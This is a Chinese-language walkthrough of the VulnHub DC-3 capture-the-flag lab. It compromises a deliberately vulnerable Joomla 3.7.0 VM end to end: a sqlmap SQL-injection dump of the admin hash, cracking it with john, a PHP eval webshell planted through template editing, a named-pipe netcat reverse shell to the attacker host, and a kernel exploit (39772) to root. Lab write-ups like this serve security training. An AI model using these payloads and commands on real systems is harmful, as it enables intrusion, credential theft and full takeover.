1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > [ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-3 通关详解 (附靶机搭建教程)

[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-3 通关详解 (附靶机搭建教程)

时间:2019-03-15 11:27:26

相关推荐

[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-3 通关详解 (附靶机搭建教程)

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~

✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】

🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋

🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋

🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

🍬 博主介绍一、环境搭建:1、靶场描述2、下载靶场环境3、启动靶场环境 二、渗透靶场1、目标:2、信息收集:寻找靶机真实IP3、信息收集:探端口及服务5、利用JoomScan进行扫描获取后台地址1.JoomScan简介2.JoomScan简单使用3.joomScan扫描 6、利用nikto扫描获取后台地址1.Nikto简介2.Nikto简单使用3.Nikto扫描 7、查找漏洞发现存在SQL注入8、sqlmap跑出数据1.跑出所有数据库2.获取当前数据库的名字joomladb3.获取获取joomladb的表名4.获取joomladb的users表的字段名5.获取目标字段username和password 9.利用john爆破密码snoopy10.利用获取到的账号密码进行登录11.上传webshell12.蚁剑管理webshell13.反弹shell到kali1.kali监听2.靶机连接3.shell成功反弹 14.创建交互式shell15.使用辅助脚本发现提权漏洞1.下载辅助脚本Linux-Exploit-Suggester.sh2.上传辅助脚本3.发现漏洞 15.使用辅助脚本提权1.获取提权脚本2.上传39772.zip文件3.提权 16.发现the-flag.txt 三、相关资源

一、环境搭建:

1、靶场描述

DC-3 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.As with the previous DC releases, this one is designed with beginners in mind, although this time around, there is only one flag, one entry point and no clues at all.Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.For those with experience doing CTF and Boot2Root challenges, this probably won't take you long at all (in fact, it could take you less than 20 minutes easily).If that's the case, and if you want it to be a bit more of a challenge, you can always redo the challenge and explore other ways of gaining root and obtaining the flag.

只有一个flag

2、下载靶场环境

靶场下载地址:

/entry/dc-32,312/

下载下来的文件如下

3、启动靶场环境

下载下来是虚拟机压缩文件,直接用Vmvare导入就行。

设置虚拟机名称

导入中

导入完成之后打开后把网络模式设置为NAT模式。

开启虚拟机报错

解决办法:/Aluxian_/article/details/123677000

虚拟机开启之后界面如下,我们不知道ip,需要自己探活,网段知道:192.168.233.0/24

二、渗透靶场

1、目标:

目标就是我们搭建的靶场,靶场IP为:192.168.233.0/24

2、信息收集:寻找靶机真实IP

nmap -sP 192.168.233.0/24

本机ip为192.168.233.130

所以分析可得靶机ip为192.168.233.179

192.168.233.1vm8网卡192.168.233.2网关192.168.233.179靶机192.168.233.254DHCP服务器192.168.233.130kali本机

3、信息收集:探端口及服务

nmap -A -p- -v 192.168.233.179

发现开放了80端口,存在web服务,Apache/2.4.18,CMS为Joomla

5、利用JoomScan进行扫描获取后台地址

由于我们前面采用nmap进行扫描时我们已经发现了中间件为joomla,我们可以采用joomscan进行扫描,如果我们不知道是joomla,我们可以采用目录扫描或者nikto等扫描工具进行扫描。发现更多的信息。

1.JoomScan简介

OWASPJoomla!漏洞扫描器(JoomScan)是一个开源项目,其主要目的是实现漏洞检测的自动化,以增强Joomla CMS开发的安全性。该工具基于Perl开发,能够轻松无缝地对各种Joomla项目进行漏洞扫描,其轻量化和模块化的架构能够保证扫描过程中不会留下过多的痕迹。它不仅能够检测已知漏洞,而且还能够检测到很多错误配置漏洞和管理权限漏洞等等。除此之外,OWASP JoomScan使用起来非常简单,不仅提供了非常友好的用户界面,而且还能够以HTML或文本格式导出扫描报告。

2.JoomScan简单使用

执行默认检测:perl joomscan.pl --url perl joomscan.pl -u 枚举已安装的组件:perl joomscan.pl --url --enumerate-componentsperl joomscan.pl -u –ec设置cookie:perl joomscan.pl --url --cookie "test=demo;"设置user-agent:perl joomscan.pl --url --user-agent "Googlebot/2.1(+/bot.html)"perl joomscan.pl -u -a "Googlebot/2.1(+/bot.html)"设置随机user-agentperl joomscan.pl -u --random-agentperl joomscan.pl --url -r更新JoomScan:perl joomscan.pl –update

3.joomScan扫描

joomscan --url http://192.168.233.179/

扫描结果如下

知道了joomla cms版本为3.7.0

得到了网站后台地址

http://192.168.233.179/administrator/

6、利用nikto扫描获取后台地址

1.Nikto简介

Nikto是一个开源的WEB扫描评估软件,可以对Web服务器进行多项安全测试,能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题。Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等。

2.Nikto简单使用

1、常规扫描nikto -host/-h http://127.0.0.1nikto -h http://127.0.0.12、可以指定端口进行扫描,同样可以指定SSL协议,进行HTTPS扫描。nikto -h http:// 127.0.0.1 -p 443 ssl3、指定子目录进行目录爆破nikto -h http:// 127.0.0.1 -C /dvwa4、批量扫描nikto -host list.txt5、升级更新插件nikto -update6、查看工具版本和插件版本nikto -V7、查看插件信息nikto -list-plugins8、命令查看帮助信息nikto 9、查看更详细的帮助信息nikto -Hman nikto

3.Nikto扫描

我们前面已经知道了CMS是joomla,并且知道了后台地址,针对于这一个靶场这一步没有任何意义,这里只是提供一个思路,目录扫描,这里就不拓展了。

nikto --url http://192.168.233.179/

得到了网站后台地址

http://192.168.233.179/administrator/

7、查找漏洞发现存在SQL注入

我们前面知道了CMS为joomla,版本为3.7.0

使用searchsploit检查到有对应的漏洞

searchsploit joomla 3.7.0

我们发现有一个SQL注入,还存在一个XSS

我们可以看一下这个漏洞的提示信息

Kali的exploits路径为/usr/share/exploitdb/exploits

Joomla3.7.0 exp信息路径为php/webapps/42033.txt

cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

提示信息如下

# Exploit Title: Joomla 3.7.0 - Sql Injection# Date: 05-19-# Exploit Author: Mateus Lino# Reference: //05/sql-injection-vulnerability-joomla-3-7.html# Vendor Homepage: /# Version: = 3.7.0# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux# CVE : - CVE--8917URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27Using Sqlmap:sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]Parameter: list[fullordering] (GET)Type: boolean-based blindTitle: Boolean-based blind - Parameter replace (DUAL)Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)Type: error-basedTitle: MySQL >= 5.0 error-based - Parameter replace (FLOOR)Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)Type: AND/OR time-based blindTitle: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)

我们看到了POC,我们验证一下,把localhost修改为我们的靶机IP就ok

http://192.168.233.179/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27

看到提示,数据库语句错误,说明进行了拼接,存在SQL注入

8、sqlmap跑出数据

1.跑出所有数据库

sqlmap -u "http://192.168.233.179/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

扫描结果

成功把数据库跑出来了

information_schemajoomladbmysqlperformance_schemasys

2.获取当前数据库的名字joomladb

sqlmap -u "http://192.168.233.179/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --current-db

跑出来当前使用数据库为joomladb

3.获取获取joomladb的表名

sqlmap -u "http://192.168.233.179/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables

跑出76张表

Database: joomladb[76 tables]+---------------------+| #__assets || #__associations|| #__banner_clients || #__banner_tracks || #__banners|| #__bsms_admin || #__bsms_books || #__bsms_comments || #__bsms_locations || #__bsms_mediafiles || #__bsms_message_typ || #__bsms_podcast|| #__bsms_series|| #__bsms_servers|| #__bsms_studies|| #__bsms_studytopics || #__bsms_teachers || #__bsms_templatecod || #__bsms_templates || #__bsms_timeset|| #__bsms_topics|| #__bsms_update|| #__categories || #__contact_details || #__content_frontpag || #__content_rating || #__content_types || #__content|| #__contentitem_tag_ || #__core_log_searche || #__extensions || #__fields_categorie || #__fields_groups || #__fields_values || #__fields || #__finder_filters || #__finder_links_ter || #__finder_links|| #__finder_taxonomy_ || #__finder_taxonomy || #__finder_terms_com || #__finder_terms|| #__finder_tokens_ag || #__finder_tokens || #__finder_types|| #__jbsbackup_timese || #__jbspodcast_times || #__languages || #__menu_types || #__menu || #__messages_cfg|| #__messages || #__modules_menu|| #__modules|| #__newsfeeds || #__overrider || #__postinstall_mess || #__redirect_links || #__schemas|| #__session|| #__tags || #__template_styles || #__ucm_base || #__ucm_content|| #__ucm_history|| #__update_sites_ext || #__update_sites|| #__updates|| #__user_keys || #__user_notes || #__user_profiles || #__user_usergroup_m || #__usergroups || #__users || #__utf8_conversion || #__viewlevels |+---------------------+

观察表名,很明显,我们会关注#__users这张表

4.获取joomladb的users表的字段名

sqlmap -u "http://192.168.233.179/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns

第一个选项,直接回车使用默认的“Y”

第二个选项,使用“y”,不要使用默认的,不然会出错

第三个选项随意

第四个选项使用10线程

最终跑出来6个字段

Database: joomladbTable: #__users[6 columns]+----------+-------------+| Column | Type |+----------+-------------+| email | non-numeric || id | numeric|| name| non-numeric || params | non-numeric || password | non-numeric || username | non-numeric |+----------+-------------+

5.获取目标字段username和password

sqlmap -u "http://192.168.233.179/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump

获得结果如下

拿到一个用户名和加密的密码

Database: joomladbTable: #__users[1 entry]+----------+--------------------------------------------------------------+| username | password |+----------+--------------------------------------------------------------+| admin | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |+----------+--------------------------------------------------------------+

9.利用john爆破密码snoopy

使用john破解出admin密码,john the ripper是一款本地密码破解工具,可以从我们上面生成的shadow文件(密码散列)中破解出密码。破解时间取决于密码的复杂程度以及破解模式。

创建一个admin_pass.txt,把加密的密码字段写入

使用john破解出admin密码是snoopy

john admin_pass.txt

10.利用获取到的账号密码进行登录

http://192.168.233.179/administrator/admin/snoopy

登陆成功

进入主页

http://192.168.233.179/

他告诉我们这次DC-3实战只有一个目标获得root权限

11.上传webshell

发现一个上传点

点击Beez3 Details and Files进入

点击newfiles

这儿我们发现可以上传文件,考虑上传木马,也可以创建文件进行编辑

要上传木马,我们先要找到当前文件所在的目录:

http://192.168.159.141/templates/beez3/html/

回到刚才的页面点击new file

在html下创建一个php文件,名字叫做powershell

创建成功之后,跳到编辑页面,然后我们输入php一句话,点击左上角绿色的save进行保存

<?phpecho ("密码是powershell") ;@eval($_ REQUEST [powershell] ) ;?>

再次访问http://192.168.233.179/templates/beez3/html/

发现多了一个powershell.php文件,我们访问一下

访问webshell,得到我们设置的会先内容,文件上传成功

http://192.168.233.179/templates/beez3/html/powershell.php

12.蚁剑管理webshell

右键添加数据

输入webshell地址和连接密码

http://192.168.233.179/templates/beez3/html/powershell.phppowershell

右键进入虚拟终端

执行whaomi查询我权限,是www-data权限

13.反弹shell到kali

蚁剑看到的终端不如kali清晰,反弹一个shell到kali

1.kali监听

nc -lvvp 55555

2.靶机连接

nc -e /bin/bash 192.168.233.130 55555

发现-e参数不可用

使用如下目录连接

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.233.130 55555 >/tmp/f

3.shell成功反弹

14.创建交互式shell

经常用shell的小伙伴都知道这个shell不好用,我们建立一个交互式shell

常用的就是python创建交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

交互式shell创建成功

15.使用辅助脚本发现提权漏洞

1.下载辅助脚本Linux-Exploit-Suggester.sh

下载地址:

/mzet-/linux-exploit-suggester

2.上传辅助脚本

我们直接在蚁剑中上传

上传成功

3.发现漏洞

ls -l linux-exploit-suggester

发现没有执行权限,我们给他加个执行文件

chmod +x linux-exploit-suggester

执行脚本

./inux-exploit-suggester

发现很多可利用漏洞

15.使用辅助脚本提权

1.获取提权脚本

上面发现了很多漏洞,这里我们挑一个进行提权

挑选CVE--4557

在图片里可以看到是一个39772的文件,由于给出的那个URL无法下载

也可以直接下载我这里提前下载好的

/s/1Syct4OjCO5PWaEQm6EZ1Ow?pwd=u9r7

也可以去searchsploit里面去看看

cat /usr/share/exploitdb/exploits/linux/local/39772.txt

查看文件内容,发现39772.zip下载链接

2.上传39772.zip文件

再次使用中国蚁剑上传文件,然后kali操作文件,要一步步进入到文件用法中提到的/ebpf_mapfd_doubleput目录下

kali右键,上传文件,选择刚刚下载的39772.zip进行上传

文件上传成功

3.提权

解压文件

unzip 39772.zip

cd 33792ls

tar -xvf exploit.tarcd ebpf_mapfd_doubleput_exploit

./compile.sh./doubleput

执行完之后,提权成功

获得root权限

16.发现the-flag.txt

lscat the-flag.txt

三、相关资源

1、靶场下载地址

2、DC-3启动问题

3、nmap

4、joomscan

5、Nikto

6、[ 渗透工具篇 ] sqlmap 详解(一) sqlmap 安装详解

7、实现交互式shell的几种方式

8、[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell

9、提权辅助工具集合

10、Linux-Exploit-Suggester.sh

11、[ 常用工具篇 ] AntSword 蚁剑安装及使用详解

12、jhon

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。